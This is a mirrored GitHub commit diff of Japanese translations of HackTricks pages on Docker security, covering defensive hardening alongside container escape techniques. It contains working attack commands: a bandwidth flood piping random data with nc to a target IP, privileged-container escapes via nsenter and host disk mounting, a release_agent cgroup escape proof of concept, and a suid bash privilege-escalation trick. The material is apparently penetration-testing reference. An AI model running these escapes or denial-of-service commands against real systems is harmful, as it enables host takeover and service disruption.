mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 17:28:13 +00:00
Translated ['linux-hardening/privilege-escalation/docker-security/README
This commit is contained in:
parent
8611759ed9
commit
703b520bfb
2 changed files with 588 additions and 480 deletions
|
@ -77,20 +77,24 @@ Note that we do not currently have vulnerability data for your image.
|
|||
```bash
|
||||
trivy -q -f json <ontainer_name>:<tag>
|
||||
```
|
||||
* [**`snyk`**](https://docs.snyk.io/snyk-cli/getting-started-with-the-cli)
|
||||
```bash
|
||||
snyk container test <image> --json-file-output=<output file> --severity-threshold=high
|
||||
```
|
||||
* [**`clair-scanner`**](https://github.com/arminc/clair-scanner)
|
||||
```bash
|
||||
clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5
|
||||
```
|
||||
### Dockerイメージの署名
|
||||
|
||||
Dockerコンテナイメージは、公開またはプライベートレジストリに保存することができます。イメージが改ざんされていないことを確認するために、コンテナイメージには署名が必要です。コンテンツの提供者は、コンテナイメージの署名とレジストリへのプッシュを管理します。
|
||||
Dockerコンテナイメージは、公開またはプライベートレジストリに保存することができます。イメージが改ざんされていないことを確認するために、コンテナイメージには署名が必要です。コンテンツの発行者は、コンテナイメージの署名とレジストリへのプッシュを管理します。
|
||||
|
||||
以下は、Dockerコンテンツの信頼性に関する詳細です:
|
||||
|
||||
- Dockerコンテンツの信頼性は、[Notaryオープンソースプロジェクト](https://github.com/docker/notary)の実装です。Notaryオープンソースプロジェクトは、[The Update Framework (TUF)プロジェクト](https://theupdateframework.github.io)に基づいています。
|
||||
- Dockerコンテンツの信頼性は、`export DOCKER_CONTENT_TRUST=1`で有効になります。Dockerバージョン1.10以降、コンテンツの信頼性はデフォルトで有効になっていません。
|
||||
- Dockerコンテンツの信頼性は、`export DOCKER_CONTENT_TRUST=1`で有効になります。Dockerバージョン1.10以降、コンテンツの信頼性はデフォルトでは有効になっていません。
|
||||
- コンテンツの信頼性が有効になっている場合、署名されたイメージのみをプルすることができます。イメージをプッシュする際には、タグキーを入力する必要があります。
|
||||
- パブリッシャーが初めてdocker pushを使用してイメージをプッシュするときには、ルートキーとタグキーのパスフレーズを入力する必要があります。他のキーは自動的に生成されます。
|
||||
- 発行者が初めてdocker pushを使用してイメージをプッシュする場合、ルートキーとタグキーのパスフレーズを入力する必要があります。他のキーは自動的に生成されます。
|
||||
- Dockerは、Yubikeyを使用したハードウェアキーのサポートも追加しており、詳細は[こちら](https://blog.docker.com/2015/11/docker-content-trust-yubikey/)で確認できます。
|
||||
|
||||
以下は、コンテンツの信頼性が有効になっており、イメージが署名されていない場合に表示されるエラーメッセージです。
|
||||
|
@ -118,7 +122,7 @@ cp ~/.ssh/id_rsa.pub /path/to/backup/location
|
|||
cp ~/.ssh/known_hosts /path/to/backup/location
|
||||
```
|
||||
|
||||
これにより、プライベートキーと関連するファイルがバックアップされます。
|
||||
これにより、プライベートキーと既知のホスト情報がバックアップされます。
|
||||
```bash
|
||||
tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private
|
||||
```
|
||||
|
@ -165,20 +169,20 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca
|
|||
|
||||
**Seccomp**
|
||||
|
||||
デフォルトでDockerには有効になっています。これにより、プロセスが呼び出すことができるシスコールをさらに制限するのに役立ちます。\
|
||||
デフォルトでDockerには有効になっています。これにより、プロセスが呼び出すことができるシステムコールをさらに制限するのに役立ちます。\
|
||||
デフォルトのDocker Seccompプロファイルは、[https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)で見つけることができます。
|
||||
|
||||
**AppArmor**
|
||||
|
||||
Dockerには、アクティベートできるテンプレートがあります:[https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
|
||||
|
||||
これにより、機能の制限、シスコール、ファイルとフォルダへのアクセスが制限されます...
|
||||
これにより、機能の制限、システムコール、ファイルとフォルダへのアクセスが制限されます...
|
||||
|
||||
</details>
|
||||
|
||||
### Namespaces
|
||||
|
||||
**Namespaces**は、Linuxカーネルの機能であり、一連の**プロセス**が一連の**リソース**を見る一方、別の一連の**プロセス**が異なる一連のリソースを見るようにカーネルリソースを分割します。この機能は、一連のリソースとプロセスに同じ名前空間を持たせることで機能し、ただし、これらの名前空間は異なるリソースを参照します。リソースは複数のスペースに存在する場合があります。
|
||||
**Namespaces**は、Linuxカーネルの機能であり、一連の**プロセス**が一連の**リソース**を見る一方、別の一連の**プロセス**が異なる一連のリソースを見るようにカーネルリソースを分割する機能です。この機能は、一連のリソースとプロセスに同じ名前空間を持たせることで機能し、ただし、これらの名前空間は異なるリソースを参照します。リソースは複数のスペースに存在する場合があります。
|
||||
|
||||
Dockerは、コンテナの分離を実現するために、次のLinuxカーネルのNamespacesを使用しています:
|
||||
|
||||
|
@ -196,7 +200,7 @@ Dockerは、コンテナの分離を実現するために、次のLinuxカーネ
|
|||
|
||||
### cgroups
|
||||
|
||||
Linuxカーネルの機能である**cgroups**は、一連のプロセスに対してCPU、メモリ、IO、ネットワーク帯域幅などのリソースを制限する機能を提供します。 Dockerでは、cgroup機能を使用してリソース制御が可能なコンテナを作成することができます。\
|
||||
Linuxカーネルの機能である**cgroups**は、一連のプロセスに対してCPU、メモリ、IO、ネットワーク帯域幅などのリソースを制限する機能を提供します。Dockerでは、cgroup機能を使用してリソース制御を行うことができるコンテナを作成することができます。\
|
||||
以下は、ユーザースペースのメモリを500mに制限し、カーネルメモリを50mに制限し、CPUシェアを512に設定し、blkioweightを400に設定したコンテナの例です。CPUシェアは、コンテナのCPU使用率を制御する比率です。デフォルト値は1024で、0から1024の範囲です。CPUリソースの競合が発生した場合、3つのコンテナが同じCPUシェア1024を持っている場合、各コンテナは最大33%のCPUを使用できます。blkio-weightは、コンテナのIOを制御する比率です。デフォルト値は500で、10から1000の範囲です。
|
||||
```
|
||||
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
|
||||
|
@ -215,7 +219,7 @@ ls -l /proc/<PID>/ns #Get the Group and the namespaces (some may be uniq to the
|
|||
|
||||
### Capabilities
|
||||
|
||||
Capabilitiesは、rootユーザーに許可される機能をより細かく制御することができます。DockerはLinuxカーネルの機能を使用して、ユーザーの種類に関係なく、コンテナ内で実行できる操作を制限します。
|
||||
Capabilitiesは、rootユーザーに許可される可能性のある機能をより細かく制御することができます。DockerはLinuxカーネルの機能を使用して、ユーザーの種類に関係なく、コンテナ内で実行できる操作を制限します。
|
||||
|
||||
Dockerコンテナが実行されると、プロセスは分離から脱出するために使用できる機能を削除します。これにより、プロセスが機密なアクションを実行して脱出することができないようになります。
|
||||
|
||||
|
@ -223,27 +227,27 @@ Dockerコンテナが実行されると、プロセスは分離から脱出す
|
|||
[linux-capabilities.md](../linux-capabilities.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### DockerのSeccomp
|
||||
### DockerにおけるSeccomp
|
||||
|
||||
これは、Dockerがコンテナ内で使用できるシスコールを制限するセキュリティ機能です。
|
||||
これは、コンテナ内で使用できるシスコールを制限するセキュリティ機能です。
|
||||
|
||||
{% content-ref url="seccomp.md" %}
|
||||
[seccomp.md](seccomp.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### DockerのAppArmor
|
||||
### DockerにおけるAppArmor
|
||||
|
||||
AppArmorは、カーネルの拡張機能であり、コンテナを制限されたリソースとパープログラムプロファイルのセットに制約します。
|
||||
AppArmorは、カーネルの拡張機能であり、コンテナを制限されたリソースのセットに制約するためのプログラムごとのプロファイルを提供します。
|
||||
|
||||
{% content-ref url="apparmor.md" %}
|
||||
[apparmor.md](apparmor.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### DockerのSELinux
|
||||
### DockerにおけるSELinux
|
||||
|
||||
[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux)は、ラベリングシステムです。すべてのプロセスとすべてのファイルシステムオブジェクトにはラベルがあります。SELinuxポリシーは、システム上の他のすべてのラベルとプロセスラベルが許可される操作に関するルールを定義します。
|
||||
[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux)は、ラベリングシステムです。すべてのプロセスとすべてのファイルシステムオブジェクトにはラベルがあります。SELinuxポリシーは、システム上の他のすべてのラベルとのプロセスラベルが許可される操作に関するルールを定義します。
|
||||
|
||||
コンテナエンジンは、通常`container_t`という単一の制約されたSELinuxラベルでコンテナプロセスを起動し、コンテナ内のコンテナを`container_file_t`というラベルで設定します。SELinuxポリシールールは基本的に、`container_t`プロセスが`container_file_t`とラベル付けされたファイルのみを読み取り/書き込み/実行できるということを示しています。
|
||||
コンテナエンジンは、通常`container_t`という単一の制約付きSELinuxラベルでコンテナプロセスを起動し、コンテナ内のコンテナを`container_file_t`というラベルでラベル付けします。SELinuxポリシールールは基本的に、`container_t`プロセスが`container_file_t`とラベル付けされたファイルを読み取り/書き込み/実行できるということを示しています。
|
||||
|
||||
{% content-ref url="../selinux.md" %}
|
||||
[selinux.md](../selinux.md)
|
||||
|
@ -257,11 +261,27 @@ AppArmorは、カーネルの拡張機能であり、コンテナを制限され
|
|||
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## おもしろいDockerフラグ
|
||||
## コンテナからのDoS
|
||||
|
||||
コンテナが使用できるリソースを適切に制限していない場合、侵害されたコンテナは実行されているホストをDoS攻撃する可能性があります。
|
||||
|
||||
* CPU DoS
|
||||
```bash
|
||||
# stress-ng
|
||||
sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t 5m
|
||||
|
||||
# While loop
|
||||
docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done'
|
||||
```
|
||||
* バンド幅 DoS
|
||||
```bash
|
||||
nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc <target IP> 4444; done
|
||||
```
|
||||
## Dockerの興味深いフラグ
|
||||
|
||||
### --privilegedフラグ
|
||||
|
||||
次のページでは、`--privileged`フラグが何を意味するかを学ぶことができます。
|
||||
次のページでは、**`--privileged`フラグが意味するもの**について学ぶことができます:
|
||||
|
||||
{% content-ref url="docker-privileged.md" %}
|
||||
[docker-privileged.md](docker-privileged.md)
|
||||
|
@ -271,9 +291,9 @@ AppArmorは、カーネルの拡張機能であり、コンテナを制限され
|
|||
|
||||
#### no-new-privileges
|
||||
|
||||
低特権ユーザーとしてアクセスを取得した攻撃者が実行されているコンテナがある場合、ミス構成されたsuidバイナリを持つと、攻撃者はコンテナ内で特権をエスカレートさせる可能性があります。これにより、攻撃者はコンテナから脱出することができるかもしれません。
|
||||
低い特権ユーザーとしてアクセスを取得した攻撃者が実行中のコンテナがある場合、**誤って設定されたsuidバイナリ**を悪用して、コンテナ内で特権をエスカレートする可能性があります。これにより、攻撃者はコンテナから脱出することができます。
|
||||
|
||||
`no-new-privileges`オプションを有効にしてコンテナを実行すると、この種の特権エスカレーションを防ぐことができます。
|
||||
**`no-new-privileges`**オプションを有効にしてコンテナを実行すると、このような特権エスカレーションを**防ぐことができます**。
|
||||
```
|
||||
docker run -it --security-opt=no-new-privileges:true nonewpriv
|
||||
```
|
||||
|
@ -387,12 +407,12 @@ file: ./my_secret_file.txt
|
|||
* Dockerデーモンを公開する場合は、クライアントとサーバーの認証にHTTPSを使用してください。
|
||||
* Dockerfileでは、ADDの代わりにCOPYを使用してください。ADDは自動的にzipファイルを展開し、URLからファイルをコピーすることができます。COPYにはこれらの機能がありません。可能な限り、リモートURLやZipファイルを介した攻撃に対して脆弱にならないように、ADDの使用を避けてください。
|
||||
* 各マイクロサービスには**個別のコンテナ**を使用してください。
|
||||
* コンテナ内に**sshを配置しないでください**。コンテナへのsshは「docker exec」を使用して行うことができます。
|
||||
* コンテナ内にsshを配置しないでください。コンテナへのsshは「docker exec」を使用して行うことができます。
|
||||
* **より小さな**コンテナ**イメージ**を使用してください。
|
||||
|
||||
## Dockerの脱獄/特権エスカレーション
|
||||
|
||||
もし**Dockerコンテナ内にいる**か、**dockerグループのユーザーにアクセス権がある**場合、**脱獄して特権をエスカレーション**することができます。
|
||||
もし**Dockerコンテナ内にいる**か、**dockerグループのユーザーにアクセス権がある**場合、**脱獄して特権をエスカレーション**することができます:
|
||||
|
||||
{% content-ref url="docker-breakout-privilege-escalation/" %}
|
||||
[docker-breakout-privilege-escalation](docker-breakout-privilege-escalation/)
|
||||
|
@ -400,7 +420,7 @@ file: ./my_secret_file.txt
|
|||
|
||||
## Docker認証プラグインのバイパス
|
||||
|
||||
もしdockerソケットにアクセス権限があるか、**dockerグループのユーザーにアクセス権限があるが、docker認証プラグインによって制限されている場合**、それを**バイパス**できるかどうかを確認してください。
|
||||
もしdockerソケットにアクセス権限があるか、**dockerグループのユーザーであるが、docker認証プラグインによって制限されている場合**、それを**バイパス**できるかどうかを確認してください:
|
||||
|
||||
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
|
||||
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
|
||||
|
@ -409,13 +429,13 @@ file: ./my_secret_file.txt
|
|||
## Dockerのハードニング
|
||||
|
||||
* ツール[**docker-bench-security**](https://github.com/docker/docker-bench-security)は、Dockerコンテナを本番環境で展開する際の数十の一般的なベストプラクティスをチェックするスクリプトです。テストはすべて自動化されており、[CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/)に基づいています。\
|
||||
ツールを実行するには、Dockerを実行しているホストからまたは十分な権限を持つコンテナから実行する必要があります。実行方法については、READMEを参照してください:[**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security)。
|
||||
ツールを実行するには、Dockerを実行しているホストからまたは十分な権限を持つコンテナから実行する必要があります。実行方法については、READMEを参照してください: [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security)。
|
||||
|
||||
## 参考文献
|
||||
|
||||
* [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
|
||||
* [https://twitter.com/\_fel1x/status/1151487051986087936](https://twitter.com/\_fel1x/status/1151487051986087936)
|
||||
* [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://
|
||||
* [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
@ -22,8 +22,8 @@
|
|||
|
||||
## 自動列挙と脱出
|
||||
|
||||
* [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): これは**コンテナを列挙**することもできます
|
||||
* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): このツールは、現在のコンテナを列挙し、自動的に脱出を試みるのに非常に**便利**です
|
||||
* [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): コンテナの列挙も可能です
|
||||
* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): このツールは、現在のコンテナを列挙するのに非常に便利であり、自動的に脱出を試みることもできます
|
||||
* [**amicontained**](https://github.com/genuinetools/amicontained): コンテナが持つ特権を取得するための便利なツールで、脱出方法を見つけることができます
|
||||
* [**deepce**](https://github.com/stealthcopter/deepce): コンテナの列挙と脱出のためのツール
|
||||
* [**grype**](https://github.com/anchore/grype): イメージにインストールされているソフトウェアに含まれるCVEを取得します
|
||||
|
@ -55,7 +55,7 @@ docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --se
|
|||
予期しない場所に**dockerソケット**がある場合は、パラメータ**`-H unix:///path/to/docker.sock`**を使用して**`docker`**コマンドを使用してそれと通信することができます。
|
||||
{% endhint %}
|
||||
|
||||
Dockerデーモンは、[デフォルトでポート(2375、2376)でリスニングすることもあります](../../../../network-services-pentesting/2375-pentesting-docker.md)。また、Systemdベースのシステムでは、Dockerデーモンとの通信はSystemdソケット`fd://`を介して行われる場合があります。
|
||||
Dockerデーモンは、[ポート(デフォルトでは2375、2376)でリスニングすることもあります](../../../../network-services-pentesting/2375-pentesting-docker.md)。また、Systemdベースのシステムでは、Dockerデーモンとの通信はSystemdソケット`fd://`を介して行われる場合があります。
|
||||
|
||||
{% hint style="info" %}
|
||||
さらに、他のハイレベルランタイムのランタイムソケットにも注意してください:
|
||||
|
@ -72,11 +72,11 @@ Dockerデーモンは、[デフォルトでポート(2375、2376)でリス
|
|||
|
||||
コンテナのcapabilitiesをチェックする必要があります。以下のいずれかのcapabilitiesがある場合、それから脱出することができるかもしれません:**`CAP_SYS_ADMIN`**、**`CAP_SYS_PTRACE`**、**`CAP_SYS_MODULE`**、**`DAC_READ_SEARCH`**、**`DAC_OVERRIDE, CAP_SYS_RAWIO`**、**`CAP_SYSLOG`**、**`CAP_NET_RAW`**、**`CAP_NET_ADMIN`**
|
||||
|
||||
現在のコンテナのcapabilitiesは、**前述の自動ツール**または以下を使用して確認できます:
|
||||
現在のコンテナのcapabilitiesは、**前述の自動ツール**または次のコマンドを使用して確認できます:
|
||||
```bash
|
||||
capsh --print
|
||||
```
|
||||
以下のページでは、**Linuxの機能について詳しく学び**、それらを悪用して特権を逃れたり特権をエスカレートさせたりする方法について学ぶことができます:
|
||||
以下のページでは、Linuxの機能について詳しく学び、それらを悪用して特権を逃れたり特権をエスカレートさせたりする方法について学ぶことができます。
|
||||
|
||||
{% content-ref url="../../linux-capabilities.md" %}
|
||||
[linux-capabilities.md](../../linux-capabilities.md)
|
||||
|
@ -84,7 +84,7 @@ capsh --print
|
|||
|
||||
## 特権コンテナからの脱出
|
||||
|
||||
特権コンテナは、`--privileged`フラグを使用するか、特定の防御を無効にすることで作成できます:
|
||||
特権コンテナは、`--privileged`フラグを使用するか、特定の防御を無効にすることで作成できます。
|
||||
|
||||
* `--cap-add=ALL`
|
||||
* `--security-opt apparmor=unconfined`
|
||||
|
@ -96,7 +96,7 @@ capsh --print
|
|||
* `--cgroupns=host`
|
||||
* `Mount /dev`
|
||||
|
||||
`--privileged`フラグは、重大なセキュリティ上の懸念を引き起こし、このフラグを有効にした状態でDockerコンテナを起動することによってエスカレートすることができます。このフラグを使用すると、コンテナはすべてのデバイスに完全なアクセス権を持ち、seccomp、AppArmor、およびLinuxの機能による制限がありません。`--privileged`の効果については、以下のページで**すべての効果を読む**ことができます:
|
||||
`--privileged`フラグは、重大なセキュリティ上の懸念を引き起こし、このフラグを有効にした状態でDockerコンテナを起動することによってエスケープを行います。このフラグを使用すると、コンテナはすべてのデバイスに完全なアクセス権を持ち、seccomp、AppArmor、およびLinuxの機能の制限がありません。`--privileged`の効果については、次のページで詳しく説明されています。
|
||||
|
||||
{% content-ref url="../docker-privileged.md" %}
|
||||
[docker-privileged.md](../docker-privileged.md)
|
||||
|
@ -104,7 +104,7 @@ capsh --print
|
|||
|
||||
### 特権 + hostPID
|
||||
|
||||
これらの権限を持つ場合、単に`nsenter --target 1 --mount --uts --ipc --net --pid -- bash`を実行することで、rootとしてホストで実行されているプロセス(pid:1)の名前空間に移動することができます。
|
||||
これらの権限を持つ場合、単に`nsenter --target 1 --mount --uts --ipc --net --pid -- bash`を実行することで、ホストでrootとして実行されているプロセス(init、pid:1)の名前空間に移動することができます。
|
||||
|
||||
コンテナでテストしてみてください。
|
||||
```bash
|
||||
|
@ -114,22 +114,22 @@ docker run --rm -it --pid=host --privileged ubuntu bash
|
|||
|
||||
特権フラグを使用するだけで、ホストのディスクにアクセスしたり、release_agentや他のエスケープを悪用して脱出を試みることができます。
|
||||
|
||||
以下のバイパスをコンテナで実行してテストしてください。
|
||||
以下のバイパスをコンテナでテストしてください。
|
||||
```bash
|
||||
docker run --rm -it --privileged ubuntu bash
|
||||
```
|
||||
#### ディスクのマウント - Poc1
|
||||
|
||||
適切に設定されたDockerコンテナでは、**fdisk -l**のようなコマンドは許可されません。ただし、誤った設定のDockerコマンドでは、`--privileged`フラグまたは`--device=/dev/sda1`フラグと共にキャップスが指定されている場合、ホストドライブを表示するための特権を取得することが可能です。
|
||||
適切に設定されたDockerコンテナでは、**fdisk -l**のようなコマンドは許可されません。ただし、誤って設定されたDockerコマンドで、`--privileged`フラグまたは`--device=/dev/sda1`フラグが指定されている場合、ホストドライブを表示するための特権を取得することができます。
|
||||
|
||||
![](https://bestestredteam.com/content/images/2019/08/image-16.png)
|
||||
|
||||
したがって、ホストマシンを乗っ取るためには、以下の手順を実行します:
|
||||
したがって、ホストマシンを乗っ取ることは簡単です。
|
||||
```bash
|
||||
mkdir -p /mnt/hola
|
||||
mount /dev/sda1 /mnt/hola
|
||||
```
|
||||
そして、できあがり!ホストのファイルシステムにアクセスできるようになりました。これは、`/mnt/hola`フォルダにマウントされているためです。
|
||||
そして、できあがり!ホストのファイルシステムにアクセスできるようになりました。これは、`/mnt/hola`フォルダにマウントされています。
|
||||
|
||||
#### ディスクのマウント - Poc2
|
||||
|
||||
|
@ -154,9 +154,9 @@ mount: /mnt: permission denied. ---> Failed! but if not, you may have access to
|
|||
### debugfs (Interactive File System Debugger)
|
||||
debugfs /dev/sda1
|
||||
```
|
||||
#### 既存のrelease\_agentを悪用した特権エスケープ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/))- PoC1
|
||||
#### 特権エスケープ既存のrelease\_agentの悪用([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/))- PoC1
|
||||
|
||||
{% code title="初期のPoC" %}
|
||||
{% code title="初期PoC" %}
|
||||
```bash
|
||||
# spawn a new container to exploit via:
|
||||
# docker run --rm -it --privileged ubuntu bash
|
||||
|
@ -236,7 +236,19 @@ cat /output
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
以下は、ハッキング技術に関する本のコンテンツです。以下のコンテンツは、/hive/hacktricks/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md ファイルからのものです。関連する英語のテキストを日本語に翻訳し、翻訳を返し、マークダウンとHTMLの構文を正確に保ちます。コード、ハッキング技術の名前、ハッキングの言葉、クラウド/SaaSプラットフォームの名前(Workspace、aws、gcpなど)、'leak'という単語、ペンテスト、およびマークダウンタグなどのものは翻訳しないでください。また、翻訳とマークダウンの構文以外の追加のものは追加しないでください。
|
||||
**技術の説明**は以下で見つけることができます:
|
||||
|
||||
{% content-ref url="docker-release_agent-cgroups-escape.md" %}
|
||||
[docker-release\_agent-cgroups-escape.md](docker-release\_agent-cgroups-escape.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
#### プライビリージエスケープ - 相対パスを知らないで release\_agent を悪用する - PoC3
|
||||
|
||||
以前の攻撃では、**ホストのファイルシステム内のコンテナの絶対パスが漏洩**していました。しかし、常にそうではありません。ホスト内のコンテナの**絶対パスがわからない場合**には、この技術を使用できます:
|
||||
|
||||
{% content-ref url="release_agent-exploit-relative-paths-to-pids.md" %}
|
||||
[release\_agent-exploit-relative-paths-to-pids.md](release\_agent-exploit-relative-paths-to-pids.md)
|
||||
{% endcontent-ref %}
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
||||
|
@ -324,9 +336,9 @@ root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
|
|||
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
|
||||
...
|
||||
```
|
||||
#### 機密マウントの悪用による特権エスケープ
|
||||
#### 特権エスケープと感度の高いマウントの悪用
|
||||
|
||||
**ホストの基礎情報を提供する可能性のあるいくつかのファイル**がマウントされている場合があります。これらのファイルのいくつかは、**ホストが何かが起こったときに実行するものを示しているかもしれません**(これにより攻撃者はコンテナから脱出することができます)。
|
||||
**ホストの基礎情報を提供する可能性のあるいくつかのマウントされたファイル**があります。それらの中には、**ホストが何かが起こったときに実行するものを示す場合さえある**かもしれません(これにより攻撃者はコンテナから脱出することができます)。
|
||||
|
||||
これらのファイルの悪用により、次のことが可能になります:
|
||||
|
||||
|
@ -336,7 +348,7 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
|
|||
- [uevent_helper](sensitive-mounts.md#sys-kernel-uevent_helper)
|
||||
- [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe)
|
||||
|
||||
ただし、このページでチェックするための**他の機密ファイル**も見つけることができます:
|
||||
ただし、このページでチェックするための**他の感度の高いファイル**も見つけることができます:
|
||||
|
||||
{% content-ref url="sensitive-mounts.md" %}
|
||||
[sensitive-mounts.md](sensitive-mounts.md)
|
||||
|
@ -344,14 +356,14 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
|
|||
|
||||
### 任意のマウント
|
||||
|
||||
いくつかの場合、**コンテナにはホストからのボリュームがマウントされている**ことがあります。このボリュームが正しく設定されていない場合、**機密データにアクセス/変更することができる**可能性があります:シークレットの読み取り、sshのauthorized_keysの変更...
|
||||
いくつかの場合、**コンテナにはホストからのボリュームがマウントされている**ことがあります。このボリュームが正しく設定されていない場合、**感度の高いデータにアクセス/変更することができる**可能性があります:シークレットの読み取り、sshのauthorized_keysの変更...
|
||||
```bash
|
||||
docker run --rm -it -v /:/host ubuntu bash
|
||||
```
|
||||
### 2つのシェルとホストマウントによる特権昇格
|
||||
|
||||
もし、ホストの一部のフォルダがマウントされたコンテナ内で**rootとしてアクセス**でき、かつ**非特権ユーザーとしてホストにエスケープ**し、マウントされたフォルダに対して読み取りアクセス権がある場合、\
|
||||
**コンテナ内のマウントされたフォルダ**に**bash suidファイル**を作成し、ホストからそれを実行することで特権昇格が可能です。
|
||||
もし、ホストからマウントされたフォルダを持つコンテナ内で**rootとしてアクセス**でき、かつ**非特権ユーザーとしてホストにエスケープ**し、マウントされたフォルダに対して読み取りアクセス権を持っている場合、\
|
||||
コンテナ内の**マウントされたフォルダ**に**bash suidファイル**を作成し、ホストからそれを実行することで特権昇格が可能です。
|
||||
```bash
|
||||
cp /bin/bash . #From non priv inside mounted folder
|
||||
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
|
||||
|
@ -361,13 +373,13 @@ bash -p #From non priv inside mounted folder
|
|||
```
|
||||
### 2つのシェルを使用した特権昇格
|
||||
|
||||
もし、**コンテナ内でrootとしてアクセス**でき、**非特権ユーザーとしてホストから脱出**できた場合、コンテナ内でのMKNODの機能(デフォルトで有効)を悪用して、**ホスト内で特権昇格**を行うことができます。この方法は、[**この記事**](https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/)で説明されています。\
|
||||
この機能により、コンテナ内のrootユーザーは**ブロックデバイスファイルを作成**することが許可されます。デバイスファイルは、**ハードウェアやカーネルモジュールにアクセス**するために使用される特殊なファイルです。たとえば、/dev/sdaのブロックデバイスファイルは、システムディスクの生データにアクセスすることができます。
|
||||
もし、**コンテナ内でrootとしてアクセス**でき、かつ**非特権ユーザーとしてホストから脱出**できた場合、コンテナ内での特権昇格を行うために両方のシェルを悪用することができます。これは、コンテナ内でのデフォルトの機能であるMKNODの機能を利用することができるためです。詳細は[**この記事**](https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/)で説明されています。\
|
||||
